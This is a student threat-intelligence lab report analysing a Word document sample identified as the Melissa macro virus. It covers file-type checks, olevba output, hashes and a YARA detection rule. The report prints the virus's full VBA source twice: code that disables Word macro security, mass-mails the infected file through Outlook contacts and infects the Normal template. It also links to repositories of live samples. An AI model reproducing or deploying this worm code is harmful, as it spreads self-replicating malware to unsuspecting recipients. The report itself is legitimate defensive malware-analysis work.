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Objective

To create report on the basis of Analysis done on the provided sample with following details

- Type of file
- Static analysis
- What file do?
- Threat Intel (collect similar file info from wild)
- Yara rule

Sample Location:

https://github.com/ashubits/Threat-Intel-course/blob/main/sample_lab6_18_sep

Sample Name: sample_lab6_18_sep

Type of File

To check the type of the file, the sample was analyzed in Hex Editor, PEStudio and Virus Total.

Hex Editor

The sample was opened using [HexEd.it - Browser-based Online and Offline Hex Editing](#) to display its contents byte by byte to check the file signature.

File Information			sample_lab6_18_sep x	
File Name	sample_lab6_18_sep		00000000	De CF 11 E0 A1 B1 1A E1 00 00 00 00 00 00 00 00
File Size	45,056 bytes (44 KiB)		00000010	00 00 00 00 00 00 00 00 3E 00 03 00 FE FF 09 00
			00000020	06 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00
			00000030	3A 00 00 00 00 00 00 00 00 10 00 00 3C 00 00 00
			00000040	01 00 00 00 FE FF FF FF 00 00 00 00 39 00 00 00
			00000050	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			00000060	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			00000070	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			00000080	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			00000090	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			000000A0	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			000000B0	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			000000C0	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			000000D0	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			000000E0	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			000000F0	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			00000100	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			00000110	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			00000120	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			00000130	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			00000140	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			00000150	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			00000160	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			00000170	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			00000180	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			00000190	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			000001A0	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			000001B0	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			000001C0	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			000001D0	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			000001E0	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			000001F0	FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
			00000200	EC A5 C1 00 7F 60 15 04 00 00 F0 12 BF 00 00 00
			00000210	00 00 00 10 00 00 00 00 00 06 00 00 26 2B 00 00
			00000220	0E 00 62 6A 62 6A E6 87 E6 87 00 00 00 00 00 00
			00000230	00 00 00 00 00 00 00 00 00 00 00 00 15 04 16 00

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The file signature of the sample was starting with D0 CF which is a Compound File Binary Format, a container format used for document by older versions of Microsoft Office. The file can be in doc, xls, ppt or msg format.

PEStudio

To get more information about the type of the sample, the sample was examined in PEStudio. The hex bytes of the sample were displayed. When checked in strings section, was able to find the file type of the sample as 'Word document'.

pestudio 9.15 - Malware Initial Assessment - www.winitor.com [c:\users\pradeesh kumar.r\downloads\sample_lab6_18_sep]

[illegible]

Virus Total

To confirm the file type of the sample, the file was analyzed in virus total. The file was available on Virus Total.

Virus Total Link:

<https://www.virustotal.com/gui/file/b3d734f08b01361edce0bde55f3b21b7befcdcf7fb442789098e8614c67fcdbf>



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DETECTION	DETAILS	RELATIONS	COMMUNITY 1
Basic Properties ⓘ			
MD5	1f2cdda0739dffa3002e5caa12bbf9		
SHA-1	0a3f52c2c45a94fb212bb02ffceae6deee96a7ed		
SHA-256	b3d734f08b01361edce0bde55f3b21b7bfcdf7fb442789098e8614c67fcdcf		
Vhash	b227c5d2cdd4c2b1ecfb711a72028e06		
SSDEEP	384:FLZbfUV37fp5kHh5zD83HWJxJwStdFQhGoWSpwlyuD9AQH+j3+6OZ:Jbfm37f3k7PYHDOWSpMyl4A7d		
TLSH	T13913B800A6F58B16E5F8B573048FBE71F36BC01AE35860B2290730D1D76B90AD61326		
File type	MS Word Document		
Magic	CDF V2 Document, Little Endian, Os: Windows, Version 5.0, Code page: 1250, Title: ZARZ D MIASTA OLSZTYNA, Author: Urz d Miasta, Template: Normal, Last Saved By: UM Olsztyn, Revision Number: 4, Name of Creating Application: Microsoft Office Word, Total Editing Time: 21:00, Last Printed: Wed May 04 07:33:00 2005, Create Time/Date: Wed May 04 06:11:00 2005, Last Saved Time/Date: Mon May 16 08:04:00 2005, Number of Pages: 1, Number of Words: 496, Number of Characters: 2979, Security: 0		
TrID	Microsoft Word document (78.9%)		
TrID	Generic OLE2 / Multistream Compound (21%)		
File size	44.00 KB (45056 bytes)		

The file is a Microsoft Word document with malicious code that gets automatically activated when the document is closed.

Static Analysis

Static Analysis for the sample was analyzed using Strings, PESTudio and olevba.

Strings

Using strings, the strings of the sample file is extracted and placed in the below location.

<https://github.com/PradeeshKumar-NIIT/CS-5202-Threat-intelligence/blob/main/Lab%206/strings.txt>

```
C:\Windows\System32\cmd.exe
Microsoft Windows [Version 10.0.19043.1165]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Pradeesh Kumar.R\Desktop\Software\Strings>strings.exe

Strings v2.54 - Search for ANSI and Unicode strings in binary images.
Copyright (C) 1999-2021 Mark Russinovich
Sysinternals - www.sysinternals.com

usage: strings.exe [-a] [-f offset] [-b bytes] [-n length] [-o] [-s] [-u] <file or directory>
-a      Ascii-only search (Unicode and Ascii is default)
-b      Bytes of file to scan
-f      File offset at which to start scanning.
-o      Print offset in file string was located
-n      Minimum string length (default is 3)
-s      Recurse subdirectories
-u      Unicode-only search (Unicode and Ascii is default)
-nobanner
        Do not display the startup banner and copyright message.

C:\Users\Pradeesh Kumar.R\Desktop\Software\Strings>strings "C:\Users\Pradeesh Kumar.R\Downloads\sample_lab6_18_sep" > strings.txt

Strings v2.54 - Search for ANSI and Unicode strings in binary images.
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Sysinternals - www.sysinternals.com

C:\Users\Pradeesh Kumar.R\Desktop\Software\Strings>
```

PEStudio

PEStudio was used to check for suspicious patterns, unexpected metadata and other valuable indicators present in the sample.



pestudio 9.15 - Malware Initial Assessment - www.winator.com [c:\users\pradeesh kumar.r\downloads\sample_lab6_18_sep]

pestudio 9.15 - Malware Initial Assessment - www.winator.com [c:\users\ieuser\downloads\sample_lab6_18_sep]

pestudio 9.15 - Malware Initial Assessment - www.winator.com [c:\users\ieuser\downloads\sample_lab6_18_sep]

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pestudio 9.15 - Malware Initial Assessment - www.winator.com [c:\users\pradeesh kumar\downloads\sample_lab6_18_sep]

file settings about

c:\users\pradeesh kumar\downloads\sample_lab6_18_sep.docx

encoding (2)	size (bytes)	file-offset	blacklist (0)	hint (13)	group (0)	value (547)
ascii	4	0x00009713	-	utility	-	at_d
ascii	12	0x0000A5D6	-	utility	-	CreateObject
ascii	5	0x0000A606	-	utility	-	Login
ascii	4	0x0000A768	-	utility	-	Send
unicode	64	0x0000240C	-	size	-	ci przez cudzoziemca w rozumieniu ustawy z dnia 24 marca 1920r.
ascii	21	0x00005554	-	office	-	Microsoft Office Word
ascii	13	0x0000A49E	-	office	-	Document_Open
unicode	10	0x00007600	-	office	-	Root Entry
unicode	18	0x00007782	-	office	-	SummaryInformation
unicode	26	0x00007802	-	office	-	DocumentSummaryInformation
unicode	6	0x00007880	-	office	-	Macros
ascii	5	0x000095C7	-	keyboard	-	Space
ascii	19	0x00008B11	-	file	-	Outlook-Application
ascii	4	0x00000222	-	-	-	bibi
ascii	4	0x00001946	-	-	-	h7iS
ascii	4	0x00001950	-	-	-	h7iS
ascii	4	0x00001958	-	-	-	h7iS
ascii	4	0x00001970	-	-	-	h7iS
ascii	4	0x00001986	-	-	-	h7iS
ascii	4	0x00001998	-	-	-	h7iS
ascii	4	0x000019AE	-	-	-	h7iS
ascii	4	0x000019C2	-	-	-	h7iS
ascii	4	0x000019CE	-	-	-	h7iS
ascii	4	0x000019DC	-	-	-	h7iS
ascii	4	0x000019F2	-	-	-	h7iS
ascii	4	0x00002FE6	-	-	-	h7iS
ascii	4	0x00002FF4	-	-	-	h7iS

sha256: B3D734F08B01361EDCE0BDE55F3B21878EFCDCF7FB44278909E8614C67FCDBF

signature: n/a

Olevba

Using olevba, we can detect VBA macros in MS Office, extract VBA macro source code and detect and decodes strings obfuscated with Hex/Base64/StrReverse/Dridex.

```
Select olevba

FLARE Fri 09/17/2021 22:32:34.73
C:\Users\IEUser\Desktop>olevba -a C:\Users\IEUser\Downloads\sample_lab6_18_sep.docx
olevba 0.60 on Python 3.7.9 - http://decalage.info/python/oletools

=====
FILE: C:\Users\IEUser\Downloads\sample_lab6_18_sep.docx
Type: OLE

=====
VBA MACRO Melissa.cls
in file: C:\Users\IEUser\Downloads\sample_lab6_18_sep.docx - OLE stream: 'Macros/VBA/Melissa'

=====
VBA MACRO VBA_P-code.txt
in file: VBA P-code - OLE stream: 'VBA P-code'

=====
|Type|Keyword|Description|
|-----|-----|-----|
|AutoExec|Document_Close|Runs when the Word document is closed|
|AutoExec|Document_Open|Runs when the Word or Publisher document is opened|
|Suspicious|CreateObject|May create an OLE object|
|Suspicious|VBProject|May attempt to modify the VBA code (self-modification)|
|Suspicious|VBAComponents|May attempt to modify the VBA code (self-modification)|
|Suspicious|CodeModule|May attempt to modify the VBA code (self-modification)|
|Suspicious|AddFromSting|May attempt to modify the VBA code (self-modification)|
|Suspicious|System|May run an executable file or a system command on a Mac (if combined with libc.dylib)|
|Suspicious|Base64 Strings|Base64-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)|
|Suspicious|VBA Stomping|VBA Stomping was detected: the VBA source code and P-code are different, this may have been used to hide malicious code|
|-----|-----|-----|

VBA Stomping detection is experimental: please report any false positive/negative at https://github.com/decalage2/oletools/issues
```

The embedded malicious code along with the information extracted from olevba is extracted and placed in the below location.


```
C:\Users\IEUser
λ olevba C:\Users\IEUser\Downloads\sample_lab6_18_sep > lab6_macroinside.vbs

C:\Users\IEUser
λ |
```

https://github.com/PradeeshKumar-NIIT/CS-5202-Threat-intelligence/blob/main/Lab%206/lab6_macroinside.vbs

Malicious Code

The malicious code present in the sample.[\[7\]](#)

```
Private Sub Document_Open()
    On Error Resume Next
    If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1
Else
    CommandBars("Tools").Controls("Macro").Enabled = False
    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\
"Melissa?") <> "... by Kwyjibo" Then
    If UngaDasOutlook = "Outlook" Then
        DasMapiName.Logon "profile", "password"
        For y = 1 To DasMapiName.AddressLists.Count
            Set AddyBook = DasMapiName.AddressLists(y)
            x = 1
            Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
            For oo = 1 To AddyBook.AddressEntries.Count
                Peep = AddyBook.AddressEntries(x)
                BreakUmOffASlice.Recipients.Add Peep
                x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
            Next oo
            BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
            BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone
else ;-)"
            BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
            BreakUmOffASlice.Send
```




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```
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\","Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.New <> "Melissa" Then
    If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
    Set ToInfect = ADI1
    ADI1.New = "Melissa"
    DoAD = True
End If
If NTI1.New <> "Melissa" Then
    If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
    Set ToInfect = NTI1
    NTI1.New = "Melissa"
    DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
    Do While ADI1.CodeModule.Lines(1, 1) = ""
        ADI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString("Private Sub Document_Close()")
    Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
        ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
        BGN = BGN + 1
    Loop
End If
If DoAD = True Then
    Do While NTI1.CodeModule.Lines(1, 1) = ""
        NTI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString("Private Sub Document_Open()")
    Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
        ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
        BGN = BGN + 1
    Loop
End If
CYA:
```



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```
If NTCL <> 0 And ADCL = 0 And (Instr(1, ActiveDocument.New, "Document") = False)
Then
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (Instr(1, ActiveDocument.New, "Document") <> False) Then
    ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-
word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
```

```
---
Attribute VB_Name = "Melissa"
Attribute VB_Base = "1Normal.Melissa"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
    CommandBars("Tools").Controls("Macro").Enabled = False
    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
    Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNamespace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
```



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```
For oo = 1 To AddyBook.AddressEntries.Count
    Peep = AddyBook.AddressEntries(x)
    BreakUmOffASlice.Recipients.Add Peep
    x = x + 1
    If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone
else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\","
"Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
```



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```
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False)
Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-
score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
```

What File do?

This virus works with both Word 97 and Word 2000 and the macro activates when an infected document is closed. If it is activated in Word 2000, it will lower the security setting to the lowest level by modifying the registry and will disable the Word menu commands (Macro\Security) which allows the user to reinstate security settings. In Word97, the virus disables the Tools/Macro menu commands, the Confirm Conversions option, the MS Word macro virus protection, and the Save Normal Template prompt. The virus then checks to see if the registry key "HKEY_CURRENT_USER\Software\Microsoft\Office\Melissa?" contains the value "... by Kwyjibo." This is how the virus determines whether it has activated on this system.

The virus then opens Outlook, if present on the system, and sends one email for each address list. The email may contain up to 50 recipients. The email will contain the subject line: "Important Message From {user name}" and the message body will be "Here is that document you asked for . . . don't show anyone else :-)" The virus then attaches a copy of the infected active document to the outgoing mail. The name of the original infected attachment was List.doc, but it could be any name.

If the user does not have Outlook, the virus will not work. Then the virus modifies the value of the registry key mentioned above so it is equal to "... by Kwijibo" -- indicating that it has successfully activated on this computer. After that, the virus checks to see if the normal template and active document are infected, and if either is not, it infects the file. Finally, if the day of the month is



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equal to the minute (for example, if it is March 26 at 3:26 pm), the virus will type the following text on the active document: "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."

Threat Intel

The sample file belongs to Melissa virus family. it was not a standalone program, it was not classified as a worm. It targeted Microsoft Word and Outlook-based systems and created considerable network traffic. The virus would infect computers via Email.

The files similar to the sample files are

- 51a319db15b885161702caf96ac6f0de
- 02cd26ed2813d996d4d9d1277636dd91
- 3fa51b2984d79bc69a280870e4387cf0
- 2b1f13e2948b9b473ad4c3eb6a852ea7
- 264ffd5eaed5cf99848fbd310628a162
- c6118068b71c72b7f2b4428d27132400
- 58ec1528c7f12264808eaf2ac1eafeb6
- e90ed77286e7d685ac3809f366f19d75
- 045cb8ecf9a4b99d30f66911acb250b6

Some of the samples are placed in the below location

<https://github.com/PradeeshKumar-NIIT/CS-5202-Threat-intelligence/tree/main/Lab%206/Samples>

Yara Rule

```
rule MelissaVirus
{
meta:
    Description = "Simple YARA rule to detect Melissa Virus"
    Author = "Pradeesh Kumar.R (MT20ACS523)"
    Date = "2021-09-18"

strings:
    $str01 =
/(Macro|Security|HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\9.0\\Word\\Securit
y)/ //Checks for Word security controls for Word 2000 and disables them
    $str02 = /(Options|ConfirmConversions|VirusProtectionoD|SaveNormalPrompt)/
//Checks for Word security controls for Word 97 and disables them
    $str03 = /(HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\|Melissa|... by
Kwyjibo)/ //Checks if machine is already infected
    $str04 = /(Subject|Important Message From |FullName)/ //Subject send to the receipient
    $str05 = /(Body|Here is that document you asked for ... don't show anyone else)/
//Message send to the receipient
    $str06 = /(Attachment|AddressList)/ //Attachment and receipient email address
    $str07 = "Outlook.Application" //Checks for Outlook Application.
```



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$str08 = "WORD/Melissa written by Kwyjibo" //If Outlook Application is not found,
modifies the value of the registry key
$str09 = " Twenty-two points, plus triple-word-score, plus fifty points for using all my
letters. Game's over. I'm outta here. " //References a URL Pattern
$str10 = /(Works in both Word 2000 and Word 97|Word -> Email | Word 97 <-->
Word 2000 ... it's a new age!)/ //Indicates the malicious code in the document
$str11 = "Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!"
//Indicates the malicious code in the document

condition:
    all of ($str*)
}
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